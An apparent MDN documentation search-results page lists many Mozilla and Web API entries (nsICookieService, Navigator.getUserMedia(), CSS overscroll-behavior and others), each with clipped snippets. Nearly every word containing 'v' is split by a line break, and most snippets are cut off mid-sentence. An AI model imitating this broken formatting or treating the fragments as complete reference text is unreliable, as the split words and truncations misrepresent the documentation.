... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) this must be called on the main thread interface pro
vides location information to the nsgeolocator
via the nsidomgeolocationcallback interface.
...the nsigeolocationpro
vider interface pro
vides information about the current users location to interested parties
via nsigeolocationupdate.
...And 8 more matches
nsIIOService
netwerk/base/public/nsiioser
vice.idlscriptable this interface pro
vides a set of url parsing utility functions.
... these are pro
vided as a convenience to the programmer and in some cases to improve performance by eliminating intermediate data structures and interfaces.
... note: nsiioser
vice may only be used from the main thread.
...And 8 more matches
nsIIdleService
widget/nsiidleser
vice.idlscriptable the idle ser
vice lets you monitor how long the user has been 'idle', that is they have not used their mouse or keyboard.
... note: the idle ser
vice is for computer-wide idle detection, not just application idle detection.
... in other words, even if the user is working in other applications, the idle ser
vice will still consider the user to be active.
...And 8 more matches
nsINavHistoryResultTreeViewer
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable this interface pro
vides a predefined
view adaptor for interfacing places query results with a tree.
...it's important to be aware of this—if you want to reuse the same
viewer, you need to keep your own reference to it, then reinitialize it when the tree changes.
...method over
view nsinavhistoryresultnode nodefortreeindex(in unsigned long aindex); unsigned long treeindexfornode(in nsinavhistoryresultnode anode); attributes attribute type description collapseduplicates boolean controls whether duplicate adjacent elements are collapsed into a single item in the tree.
...And 8 more matches
Aggregate view - Firefox Developer Tools
before firefox 48, this was the default
view of a heap snapshot.
... after firefox 48, the default
view is the tree map
view, and you can switch to the aggregate
view using the dropdown labeled "
view:": the aggregate
view looks something like this: it presents a breakdown of the heap's contents, as a table.
... type this is the default
view, which looks something like this: it groups the things on the heap into types, including: javascript objects: such as function or array dom elements: such as htmlspanelement or window strings: listed as "strings" javascript sources: listed as "jsscript" internal objects: such as "js::shape".
...And 8 more matches
DeviceOrientationEvent - Web APIs
the de
viceorientationevent pro
vides web developers with information from the physical orientation of the de
vice running the web page.
... constructor de
viceorientationevent.de
viceorientationevent() creates a new de
viceorientationevent.
... properties de
viceorientationevent.absolute read only a boolean that indicates whether or not the de
vice is pro
viding orientation data absolutely.
...And 8 more matches
MediaDeviceInfo.groupId - Web APIs
the groupid readonly property of the mediade
viceinfo interface returns a domstring that is a group identifier.
... two de
vices have the same group identifier if they belong to the same physical de
vice; for example, a monitor with both a built-in camera and microphone.
... syntax var groupid = mediade
viceinfo.groupid; value a domstring which uniquely identifies the group of related de
vices to which this de
vice belongs.
...And 8 more matches
XREnvironmentBlendMode - Web APIs
the webxr api's enumerated type xren
vironmentblendmode defines strings used to identify if and how to blend the rendered
virtual content with the real world.
... its values are used by the xrsession interface's en
vironmentblendmode property.
...this is primarily used by fully-immersive vr headsets, which totally obscure the surrounding en
vironment, with none of the real world shown to the user at all.
...And 8 more matches
Privacy and the :visited selector - CSS: Cascading Style Sheets
before about 2010, the css :
visited selector allowed websites to uncover a user's browsing history and figure out what sites the user had
visited.
... to mitigate this problem, browsers have limited the amount of information that can be obtained from
visited links.
... little white lies to preserve users' privacy, firefox and other browsers will lie to web applications under certain circumstances: the window.getcomputedstyle method, and similar functions such as element.queryselector, will always return values indicating that a user has never
visited any of the links on a page.
...And 8 more matches
calICalendarViewController - Archive of obsolete content
summary a calicalendar
viewcontroller pro
vides a way for a calicalendar
view to create, modify, and delete items.
... implementing a calicalendar
viewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendar
view is included.
... calendar/base/public/calicalendar
viewcontroller.idlscriptable please add a summary to this article.
...And 7 more matches
The Basics of Web Services - Archive of obsolete content
summary: a current hot topic on the web right now are web ser
vices.
... this short guide will allow you to learn more about web ser
vices.
... the basics web ser
vices are not really anything that new, and actually, if you've ever used an rss or atom feed to pull news from a website, you have an idea of how a web ser
vice might work.
...And 7 more matches
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateser
vice.idlscriptable this interface describes a global application ser
vice that handles performing background update checks.
... it also pro
vides utilities for selecting and downloading update patches.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void adddownloadlistener(in nsirequestobserver listener); astring downloadupdate(in nsiupdate update, in boolean background); void pausedownload(); void removedownloadlistener(in nsirequestobserver listener); nsiupdate selectupdate([array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); attributes attribute type description backgroundchecker nsiupdatechecker the update checker being used for background update checking.
...And 7 more matches
nsICookieService
netwerk/cookie/public/nsicookieser
vice.idlscriptable pro
vides methods for setting and getting cookies in the context of a page load.
... var cookiesvc = components.classes["@mozilla.org/cookieser
vice;1"] .getser
vice(components.interfaces.nsicookieser
vice); notifications this ser
vice broadcasts the following notifications when the cookie list is changed, or a cookie is rejected: topic subject data cookie-changed broadcast whenever the cookie list changes in some way.
... method over
view string getcookiestring(in nsiuri auri, in nsichannel achannel); string getcookiestringfromhttp(in nsiuri auri, in nsiuri afirsturi, in nsichannel achannel); void setcookiestring(in nsiuri auri, in nsiprompt aprompt, in string acookie, in nsichannel achannel); void setcookiestringfromhttp(in nsiuri auri, in nsiuri afirsturi, in nsiprompt aprompt, in string ac...
...And 7 more matches
nsIEnvironment
xpcom/threads/nsien
vironment.idlscriptable scriptable access to the current process en
vironment.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/process/en
vironment;1 as a ser
vice: var env = components.classes["@mozilla.org/process/en
vironment;1"].
... getser
vice(components.interfaces.nsien
vironment); method over
view void set(in astring aname, in astring avalue); astring get(in astring aname); boolean exists(in astring aname); methods set() set the value of an en
vironment variable.
...And 7 more matches
nsIMarkupDocumentViewer
docshell/base/nsimarkupdocument
viewer.idlscriptable describes the properties of a content
viewer for an html or xml markup document.
... inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method over
view void scrolltonode(in nsidomnode node); void sizetocontent(); attributes attribute type description allowplugins boolean if true, plugins are allowed within the doc shell.
...1 - logical 2 -
visual 3 - like the containing document.
...And 7 more matches
nsISocketTransportService
netwerk/base/public/nsisockettransportser
vice.idlscriptable this interface pro
vides a mapping between a socket type and its associated socket pro
vider instance.
... one could also use the ser
vice manager directly.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/socket-transport-ser
vice;1.
...And 7 more matches
3D view - Firefox Developer Tools
from firefox 47 onwards, 3d
view is no longer available.
... when you click on the 3d
view button, the page goes into 3d
view mode; in this mode, you can see your page presented in a 3d
view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... this
view makes it easy to
visualize the nesting of your content.
...And 7 more matches
Dominators view - Firefox Developer Tools
the dominators
view is new in firefox 46.
... starting in firefox 46, the memory tool includes a new
view called the dominators
view.
...otherwise, you might want to re
view the article on dominators concepts.
...And 7 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
when debugging or, possibly, when trying to decide upon the best approach to sol
ving a problem around timing and scheduling of tasks and microtasks, there are things about how the javascript runtime operates under the hood that may be useful to understand.
... starting with the addition of timeouts and intervals as part of the web api (settimeout() and setinterval()), the javascript en
vironment pro
vided by web browsers has gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth.
...this information is pro
vided as a basis for why microtasks are useful and how they function; if you don't care, you can skip this and come back later if you find that you need to.
...And 7 more matches
MediaDevices.getDisplayMedia() - Web APIs
the mediade
vices interface's getdisplaymedia() method prompts the user to select and grant permission to capture the contents of a display or portion thereof (such as a window) as a mediastream.
... syntax var promise = na
vigator.mediade
vices.getdisplaymedia(constraints); parameters constraints optional an optional mediastreamconstraints object specifying requirements for the returned mediastream.
... since getdisplaymedia() requires a
video track, the returned stream will have one even if no
video track is expressly requested by the constraints object.
...And 7 more matches
Navigator.msLaunchUri() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the mslaunchuri() method is a microsoft extension to the na
vigator interface, which starts a ser
vice or app, such as an email client, that handles a given protocol.
... the uniform resource identifier (uri) contains the protocol for the default ser
vice or app, such as mailto://test@contoso.com.
...And 7 more matches
NavigatorLanguage - Web APIs
na
vigatorlanguage contains methods and properties related to the language of the na
vigator.
... there is no object of type na
vigatorlanguage, but other interfaces, like na
vigator or workerna
vigator, implement it.
... properties the na
vigatorlanguage interface doesn't inherit any property.
...And 7 more matches
Visualizations with Web Audio API - Web APIs
one of the most interesting features of the web audio api is the ability to extract frequency, waveform, and other data from your audio source, which can then be used to create
visualizations.
... this article explains how, and pro
vides a couple of basic use cases.
...ted to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioctx.destination); note: you don't need to connect the analyser's output to another node for it to work, as long as the input is connected to the source, either directly or
via another node.
...And 7 more matches
XRSession.visibilityState - Web APIs
the read-only
visibilitystate property of the xrsession interface is a string indicating whether the webxr content is currently
visible to the user, and if it is, whether it's the primary focus.
... every time the
visibility state changes, a
visibilitychange event is fired on the xrsession object.
... syntax
visibilitystate = xrsession.
visibilitystate; value a domstring containing one of the values defined in the enumerated type xr
visibilitystate; this string indicates whether or not the xr content is
visible to the user and if it is, whether or not it's currently the primary focus.
...And 7 more matches
XRView.eye - Web APIs
the xr
view interface's read-only eye property is a string taken from the xreye enumerated type, indicating which eye's
viewpoint the xr
view represents: left or right.
... for
views which represent neither eye, such as monoscopic
views, this property's value is none.
... syntax let eye = xr
view.eye; value a domstring whose value is one of the strings enumerated by the xreye type: left the xr
view represents the point-of-
view of the
viewer's left eye.
...And 7 more matches
overscroll-behavior-block - CSS: Cascading Style Sheets
the overscroll-beha
vior-block css property sets the browser's beha
vior when the block direction boundary of a scrolling area is reached.
... see overscroll-beha
vior for a full explanation.
... /* keyword values */ overscroll-beha
vior-block: auto; /* default */ overscroll-beha
vior-block: contain; overscroll-beha
vior-block: none; /* global values */ overscroll-beha
vior-block: inherit; overscroll-beha
vior-block: initial; overscroll-beha
vior-block: unset; syntax the overscroll-beha
vior-block property is specified as a keyword chosen from the list of values below.
...And 7 more matches
overscroll-behavior-inline - CSS: Cascading Style Sheets
the overscroll-beha
vior-inline css property sets the browser's beha
vior when the inline direction boundary of a scrolling area is reached.
... see overscroll-beha
vior for a full explanation.
... /* keyword values */ overscroll-beha
vior-inline: auto; /* default */ overscroll-beha
vior-inline: contain; overscroll-beha
vior-inline: none; /* global values */ overscroll-beha
vior-inline: inherit; overscroll-beha
vior-inline: initial; overscroll-beha
vior-inline: unset; syntax the overscroll-beha
vior-inline property is specified as a keyword chosen from the list of values below.
...And 7 more matches
preferences/service - Archive of obsolete content
preferences/ser
vice gives you full access to the preferences system.
... example: var name = "extensions.checkcompatibility.nightly"; require("sdk/preferences/ser
vice").set(name, false); get(name, defaultvalue) gets the application preference name.
... returns string,number,boolean : preference value, returns defaultvalue if no preference is set, returns undefined if defaultvalue is not pro
vided.
...And 6 more matches
View Source for XUL Applications - Archive of obsolete content
importing g
viewsourceutils xul applications wanting to show the source code for documents should import the
viewsourceutils.js script instead of attempting to open the
viewsource.xul window themselves: <script type="application/javascript" src="chrome://global/content/
viewsourceutils.js"/>
viewsourceutils.js exposes a g
viewsourceutils global into the scope of the window that imports that script.
... method over
view g
viewsourceutils exposes several methods, but the only one you should be using directly is the
viewsource method.
... void
viewsource(aobject); methods
viewsource opens a
viewer to the source code for some document or uri.
...And 6 more matches
Mozilla Quirks Mode Behavior
the following is a rough list of the differences that exist between mozilla's standards mode and quirks mode beha
vior.
... (this also applies to getelementsbyclassname.) stylesheets linked in the document with an ad
visory mime type of text/css will still be treated as css even if the server gives a content-type header other than text/css.
...this beha
vior is being removed in firefox 27, for interoperability.
...And 6 more matches
Retrieving part of the bookmarks tree
this document pro
vides a quick start for those wishing to quickly retrieve a portion of the bookmarks tree.
...get the query and options objects all querying is done through the history ser
vice.
... first, you need to get an empty query and options objects from the history ser
vice: var historyser
vice = components.classes["@mozilla.org/browser/nav-history-ser
vice;1"] .getser
vice(components.interfaces.nsinavhistoryser
vice); var options = historyser
vice.getnewqueryoptions(); var query = historyser
vice.getnewquery(); find the folder you want to get known folder ids are retrieved from the bookmarks ser
vice.
...And 6 more matches
nsICacheVisitor
netwerk/cache/nsicache
visitor.idlscriptable this interface pro
vides information about cache de
vices and entries.
... inherits from: nsisupports last changed in gecko 1.7 method over
view boolean
visitde
vice(in string de
viceid, in nsicachede
viceinfo de
viceinfo); boolean
visitentry(in string de
viceid, in nsicacheentryinfo entryinfo); methods
visitde
vice() this method is called to pro
vide information about a cache de
vice.
... boolean
visitde
vice( in string de
viceid, in nsicachede
viceinfo de
viceinfo ); parameters de
viceid specifies the de
vice being
visited.
...And 6 more matches
nsIConsoleService
xpcom/base/nsiconsoleser
vice.idlscriptable the console ser
vice is the back-end for the error console, bundled with every mozilla application, and for firefox's web console and browser console.
... inherits from: nsisupports last changed in gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16) implemented by: @mozilla.org/consoleser
vice;1 as a ser
vice: var consoleser
vice = components.classes["@mozilla.org/consoleser
vice;1"] .getser
vice(components.interfaces.nsiconsoleser
vice); method over
view void getmessagearray([array, size_is(count)] out nsiconsolemessage messages, out uint32_t count);obsolete since gecko 19 void getmessagearray([optional] out uint32_t count, [retval, array, size_is(count)] out nsiconsolemessage messages); void logmessage(in nsiconsolemessage message); void logstringmessage(in wstring message); void regi...
... examples retrie
ving the message array to retrieve the message array in gecko prior to version 19: function getconsolemessagearray() { var consoleser
vice = components.classes["@mozilla.org/consoleser
vice;1"] .getser
vice(components.interfaces.nsiconsoleser
vice); var array = {}; consoleser
vice.getmessagearray(array, {}); return array.value; } to retrieve the message array ...
...And 6 more matches
nsIContentViewManager
content/base/public/nsiframeloader.idlscriptable manages the content
views contained in a browser 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to obtain a reference to the
view manager for a document, you can queryinterface() the nsiframeloader object to nsicontent
viewmanager.
... see getting access to content
views for details.
... once you have the
view manager, you can call getcontent
viewsin() to get a list of the content
views for a given portion of the browser display, then use those nsicontent
view objects to manipulate the content
views.
...And 6 more matches
nsIDeviceMotion
xpcom/system/nside
vicemotion.idlscriptable this interface is used to implement accelerometer support.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nside
vicemotion prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... method over
view void addlistener(in nside
vicemotionlistener alistener); void addwindowlistener(in nsidomwindow awindow); native code only!
...And 6 more matches
nsIEffectiveTLDService
netwerk/dns/nsieffectivetldser
vice.idlscriptable this is an interface that examines a hostname and determines the longest portion that should be treated as though it were a top-level domain (tld).
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/effective-tld-ser
vice;1.
... to use this ser
vice, use: var etldser
vice = components.classes["@mozilla.org/network/effective-tld-ser
vice;1"] .getser
vice(components.interfaces.nsieffectivetldser
vice); the name "effective tld ser
vice" is a historical one; today, the items this interface manipulates are called public suffixes, and the list of them is the public suffix list, or psl.
...And 6 more matches
nsIFileView
toolkit/components/filepicker/public/nsifile
view.idlscriptable this interface displays a list of files in a treebox.
... inherits from: nsisupports last changed in gecko 1.7 note: nsifile
view is linux-only interface.
...note: a quirk of the nsifile
view is that it requires an appropriate treecols section in the tree tag, by default file
view will return the file size in the column.
...And 6 more matches
nsINavHistoryResultViewer
toolkit/components/places/public/nsinavhistoryser
vice.idlscriptable lets nsinavhistoryresult instances notify places
views of changes in the results.
... method over
view void containerclosed(in nsinavhistorycontainerresultnode acontainernode); void containeropened(in nsinavhistorycontainerresultnode acontainernode); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotationchanged(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateaddedchanged(in nsinavh...
...istoryresultnode anode, in prtime anewvalue); void nodelastaddedchanged(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime anew
visitdate, in unsigned long anewaccesscount); void nodeiconchanged(in nsinavhistoryresultnode anode); void nodekeywordchanged(in nsinavhistoryresultnode anode, in autf8string anewkeyword); void nodemoved(in nsinavhistoryresultnode anode, in nsinavhistorycontainerresultnode aoldparent, in unsigned long aoldindex, in nsinavhistorycontainerresultnode anewparent, in unsigned long anewindex); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string anewtitle); void noderemoved(in nsinavhistorycontainerresultnode...
...And 6 more matches
nsIStyleSheetService
layout/base/nsistylesheetser
vice.idlscriptable please add a summary to this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports implemented by: @mozilla.org/content/style-sheet-ser
vice;1.
... to create an instance, use: var stylesheetser
vice = components.classes["@mozilla.org/content/style-sheet-ser
vice;1"] .getser
vice(components.interfaces.nsistylesheetser
vice); method over
view void loadandregistersheet(in nsiuri sheeturi, in unsigned long type); boolean sheetregistered(in nsiuri sheeturi, in unsigned long type); void unregistersheet(in nsiuri sheeturi, in unsigned long type); constants constant value description agent_sheet 0 user_sheet 1 author_sheet 2 methods loadandregistersheet() synchronously loads a style sheet from sheeturi and adds it to the list of user or agent st...
...And 6 more matches
nsIWebNavigationInfo
docshell/base/nsiwebna
vigationinfo.idlscriptable exposes a way to get information on the capabilities of gecko web na
vigation objects.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/webna
vigation-info;1 as a ser
vice: var webna
vigationinfo = components.classes["@mozilla.org/webna
vigation-info;1"] .getser
vice(components.interfaces.nsiwebna
vigationinfo); method over
view unsigned long istypesupported(in acstring atype, in nsiwebna
vigation awebnav); constants support type constants constant value description unsupported 0 returned by istypesupported() to indicate lack of support for a type.
... plugin 2 returned by istypesupported() to indicate that a type is supported
via an npapi ("netscape 4 api") plug-in.
...And 6 more matches
JSON viewer - Firefox Developer Tools
the json
viewer is new in firefox 44.
... before firefox 53, the json
viewer is enabled by default only in firefox developer edition and firefox nightly.
... to enable this feature in other release channels, set the devtools.json
view.enabled preference to true.
...And 6 more matches
BluetoothRemoteGATTService - Web APIs
the bluetoothremotegattser
vice interface of the web bluetooth api represents a ser
vice pro
vided by a gatt server, including a de
vice, a list of referenced ser
vices, and a list of the characteristics of this ser
vice.
... interface interface bluetoothremotegattser
vice : ser
viceeventhandlers { readonly attribute uuid uuid; readonly attribute boolean isprimary; readonly attribute bluetoothde
vice de
vice; promise<bluetoothgattcharacteristic> getcharacteristic(bluetoothcharacteristicuuid characteristic); promise<sequence<bluetoothgattcharacteristic>> getcharacteristics(optional bluetoothcharacteristicuuid characteristic); promise<bluetoothgattser
vice> getincludedser
vice(bluetoothser
viceuuid ser
vice); promise<sequence<bluetoothgattser
vice>> getincludedser
vices(optional bluetoothser
viceuuid ser
vice); }; properties bluetoothremotegattser
vice.de
viceread only returns information about a bluetooth de
vice through an instance of bluetoothde
vice.
... bluetoothremotegattser
vice.isprimaryread only returns a boolean indicating whether this is a primary or secondary ser
vice.
...And 6 more matches
Document.visibilityState - Web APIs
the document.
visibilitystate read-only property returns the
visibility of the document, that is in which context this element is now
visible.
... it is useful to know if the document is in the background or an in
visible tab, or only loaded for pre-rendering.
... possible values are: '
visible' the page content may be at least partially
visible.
...And 6 more matches
Ajax navigation example - Web APIs
first_page.php: <?php $page_title = "first page"; $as_json = false; if (isset($_get["
view_as"]) && $_get["
view_as"] == "json") { $as_json = true; ob_start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; echo "<title>" .
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the na
vigation starts from <strong>first_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the na
vigation starts from <strong>first_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> second_page.php: <?php $page_title = "second page"; $as_json = false; if (isset($_get["
view_as"]) && $_get["
view_as"] == "json") { $as_json = tr...
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the na
vigation starts from <strong>second_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>second_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the na
vigation starts from <strong>second_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> third_page.php: <?php ...
...And 6 more matches
InputDeviceCapabilities API - Web APIs
the inputde
vicecapabilities api pro
vides details about the underlying sources of input events.
... the api attempts to describe how the de
vice behaves rather than what it is.
... for example, the first version of the api indicates whether a de
vice fires touch events rather than whether it is a touch screen.
...And 6 more matches
MediaStream.getVideoTracks() - Web APIs
the get
videotracks() method of the mediastream interface returns a sequence of mediastreamtrack objects representing the
video tracks in this stream.
... syntax var mediastreamtracks[] = mediastream.get
videotracks(); parameters none.
... return value an array of mediastreamtrack objects, one for each
video track contained in the media stream.
...And 6 more matches
MediaTrackConstraints.deviceId - Web APIs
the mediatrackconstraints dictionary's de
viceid property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the de
viceid constrainable property.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.de
viceid as returned by a call to mediade
vices.getsupportedconstraints().
... syntax var constraintsobject = { de
viceid: constraint }; constraintsobject.de
viceid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) de
vice ids which are acceptable as the source of media content.
...And 6 more matches
Navigator.getUserMedia() - Web APIs
the deprecated na
vigator.getusermedia() method prompts the user for permission to use up to one
video input de
vice (such as a camera or shared screen) and up to one audio input de
vice (such as a microphone) as the source for a mediastream.
... if permission is granted, a mediastream whose
video and/or audio tracks come from those de
vices is delivered to the specified success callback.
... if permission is denied, no compatible input de
vices exist, or any other error condition occurs, the error callback is executed with a mediastreamerror object describing what went wrong.
...And 6 more matches
NavigatorPlugins.plugins - Web APIs
in firefox 29 and later, enumeration of the na
vigator.plugins array may be restricted as a privacy measure.
... applications that must check for the presence of a browser plugin should query na
vigator.plugins or na
vigator.mimetypes by exact name instead of enumerating the na
vigator.plugins array and comparing every plugin's name.
... syntax var plugins = na
vigator.plugins; plugins is pluginarray object used to access plugin objects either by name or as a list of items.
...And 6 more matches
ServiceWorkerContainer.startMessages() - Web APIs
the startmessages() method of the ser
viceworkercontainer interface explicitly starts the flow of messages being dispatched from a ser
vice worker to pages under its control (e.g.
... sent
via client.postmessage()).
... explanation by default, all messages sent from a page's controlling ser
vice worker to the page (using client.postmessage()) are queued while the page is loading, and get dispatched once the page's html document has been loaded and parsed (i.e.
...And 6 more matches
VideoConfiguration - Web APIs
the
videoconfiguration dictionary of the media capabilities api is used to define the
video file being tested when calling the mediacapabilities methods encodinginfo() and decodinginfo() to determine whether or not the described
video configuration is supported, and how smoothly and how smoooth and power-efficient it can be handled.
... properties the
videoconfiguration dictionary is made up of five
video properties, including: contenttype: a valid
video mime type.
... see our web
video codec guide for types which may be supported.
...And 6 more matches
VideoPlaybackQuality - Web APIs
a
videoplaybackquality object is returned by the html
videoelement.get
videoplaybackquality() method and contains metrics that can be used to determine the playback quality of a
video.
... properties the
videoplaybackquality interface doesn't inherit properties from any other interfaces.
... creationtime read only a domhighrestimestamp containing the time in miliseconds between the start of the na
vigation and the creation of the object.
...And 6 more matches
WebRTC connectivity - Web APIs
we call this the signal channel or signaling ser
vice.
...in this way, both de
vices share with one another the information needed in order to exchange media data.
... this exchange is handled using interactive connecti
vity establishment (ice, a protocol which lets two de
vices use an intermediary to exchange offers and answers even if the two de
vices are separated by network address translation (nat).
...And 6 more matches
XRViewport - Web APIs
the webxr de
vice api's xr
viewport interface pro
vides properties used to describe the size and position of the current
viewport within the xrwebgllayer being used to render the 3d scene.
... properties height read only the height, in pixels, of the
viewport.
... width read only the width, in pixels, of the
viewport.
...And 6 more matches
XRWebGLLayer.getViewport() - Web APIs
the xrwebgllayer interface's get
viewport() method returns the xr
viewport that should be used to render the specified xr
view into the webgl layer.
... for webxr de
vices which use a single framebuffer for both the left and right eyes, the returned
viewport represents the region of the framebuffer into which the scene should be rendered for the eye represented by the
view.
... syntax let
viewport = xrwebgllayer.get
viewport(
view); parameters
view an xr
view object indicating the
view for which the
viewport is to be returned.
...And 6 more matches
backface-visibility - CSS: Cascading Style Sheets
the backface-
visibility css property sets whether the back face of an element is
visible when turned towards the user.
...though in
visible in 2d, the back face can become
visible when a transformation causes the element to be rotated in 3d space.
... (this property has no effect on 2d transforms, which have no perspective.) syntax /* keyword values */ backface-
visibility:
visible; backface-
visibility: hidden; /* global values */ backface-
visibility: inherit; backface-
visibility: initial; backface-
visibility: unset; the backface-
visibility property is specified as one of the keywords listed below.
...And 6 more matches
overscroll-behavior-x - CSS: Cascading Style Sheets
the overscroll-beha
vior-x css property sets the browser's beha
vior when the horizontal boundary of a scrolling area is reached.
... see overscroll-beha
vior for a full explanation.
... /* keyword values */ overscroll-beha
vior-x: auto; /* default */ overscroll-beha
vior-x: contain; overscroll-beha
vior-x: none; /* global values */ overscroll-beha
vior-x: inherit; overscroll-beha
vior-x: initial; overscroll-beha
vior-x: unset; syntax the overscroll-beha
vior-x property is specified as a keyword chosen from the list of values below.
...And 6 more matches
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
the html <nav> element represents a section of a page whose purpose is to pro
vide na
vigation links, either within the current document or to other documents.
... common examples of na
vigation sections are menus, tables of contents, and indexes.
... implicit aria role na
vigation permitted aria roles no role permitted dom interface htmlelement attributes this element only includes the global attributes.
...And 6 more matches
CSP: navigate-to - HTTP
the http content-security-policy (csp) na
vigate-to directive restricts the urls to which a document can initiate na
vigations by any means including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... this is an enforcement on what na
vigations this document initiates not on what this document is allowed to na
vigate to.
... note: if the form-action directive is present, the na
vigate-to directive will not act on na
vigations that are form submissions.
...And 6 more matches
DataView() constructor - JavaScript
the data
view() constructor is used to create data
view objects.
... syntax new data
view(buffer [, byteoffset [, bytelength]]) parameters buffer an existing arraybuffer or sharedarraybuffer to use as the storage backing the new data
view object.
... byteoffset optional the offset, in bytes, to the first byte in the above buffer for the new
view to reference.
...And 6 more matches
Additional Navigation - Archive of obsolete content
« pre
viousnext » retrie
ving literals the triples used so far have all had variables in both the subject and object.
... source na
vigation triples may also be used to na
vigate up the graph as well as downwards, following the graph arrows in the reverse direction.
... for instance, in the original example, we could start at node d and na
vigate upwards to a and c.
...And 5 more matches
LiveConnect Overview - Archive of obsolete content
the jsobject class pro
vides an interface for invoking javascript methods and examining javascript properties.
...for example, you can create a java string object and assign it to the javascript variable mystring by using the new operator with the java constructor, as follows: var mystring = new java.lang.string("hello world"); in the pre
vious example, the variable mystring is a javaobject because it holds an instance of the java object string.
...for example, if the helloworld class is directly in the classpath and not in a package, you can access it as follows: var red = new packages.helloworld(); the liveconnect java, sun, and netscape objects pro
vide shortcuts for commonly used java packages.
...And 5 more matches
Network Security Services
network security ser
vices (nss) is a set of libraries designed to support cross-platform development of security-enabled client and server applications.
... for detailed information on standards supported, see over
view of nss.
... if you're a developer and would like to contribute to nss, you might want to read the documents highlevel over
view of internal details of nss and getting started with nss.
...And 5 more matches
nsIDNSService
netwerk/dns/nsidnsser
vice.idlscriptable pro
vides domain name resolution ser
vice.
... inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/network/dns-ser
vice;1.
... to access the ser
vice, use: var dnsser
vice = components.classes["@mozilla.org/network/dns-ser
vice;1"] .createinstance(components.interfaces.nsidnsser
vice); note: starting in gecko 7.0, the "happy eyeballs" strategy is used to reduce lengthy timeouts when attempting backup connections during attempts to connect from clients that have broken ipv6 connecti
vity.
...And 5 more matches
nsIExternalProtocolService
uriloader/exthandler/nsiexternalprotocolser
vice.idlscriptable the external protocol ser
vice is used for finding and launching web handlers (a la registerprotocolhandler in the html5 draft) or platform-specific applications for handling particular protocols.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) you can ask the external protocol ser
vice if it has an external handler for a given protocol scheme.
...method over
view boolean externalprotocolhandlerexists(in string aprotocolscheme); astring getapplicationdescription(in autf8string ascheme); nsihandlerinfo getprotocolhandlerinfo(in acstring aprotocolscheme); nsihandlerinfo getprotocolhandlerinfofromos(in acstring aprotocolscheme, out boolean afound); boolean isexposedprotocol(in string aprotocolscheme); void loaduri(in nsiuri auri, [optional] in nsiinterfacerequestor awindowcontext); void loadurl(in nsiuri aurl); void setprotocolhandlerdefaults(in nsihandlerinfo ahandlerinfo, in boolean aoshandlerexists); methods externalprotocolhandlerexists() check whether a handler for a specific protocol exists.
...And 5 more matches
nsIHttpHeaderVisitor
netwerk/protocol/http/nsihttpheader
visitor.idlscriptable this interface is used to
view http request and response headers.
... inherits from: nsisupports last changed in gecko 1.7 method over
view void
visitheader(in acstring aheader, in acstring avalue); methods
visitheader() called by the nsihttpchannel implementation when
visiting request and response headers.
... void
visitheader( in acstring aheader, in acstring avalue ); parameters aheader a string containing the key for a header such as "content-type" avalue the header's value field such as "text/html".
...And 5 more matches
nsIMessageWakeupService
content/base/public/nsimessagewakeupser
vice.idlscriptable implements the message manager wakeup ser
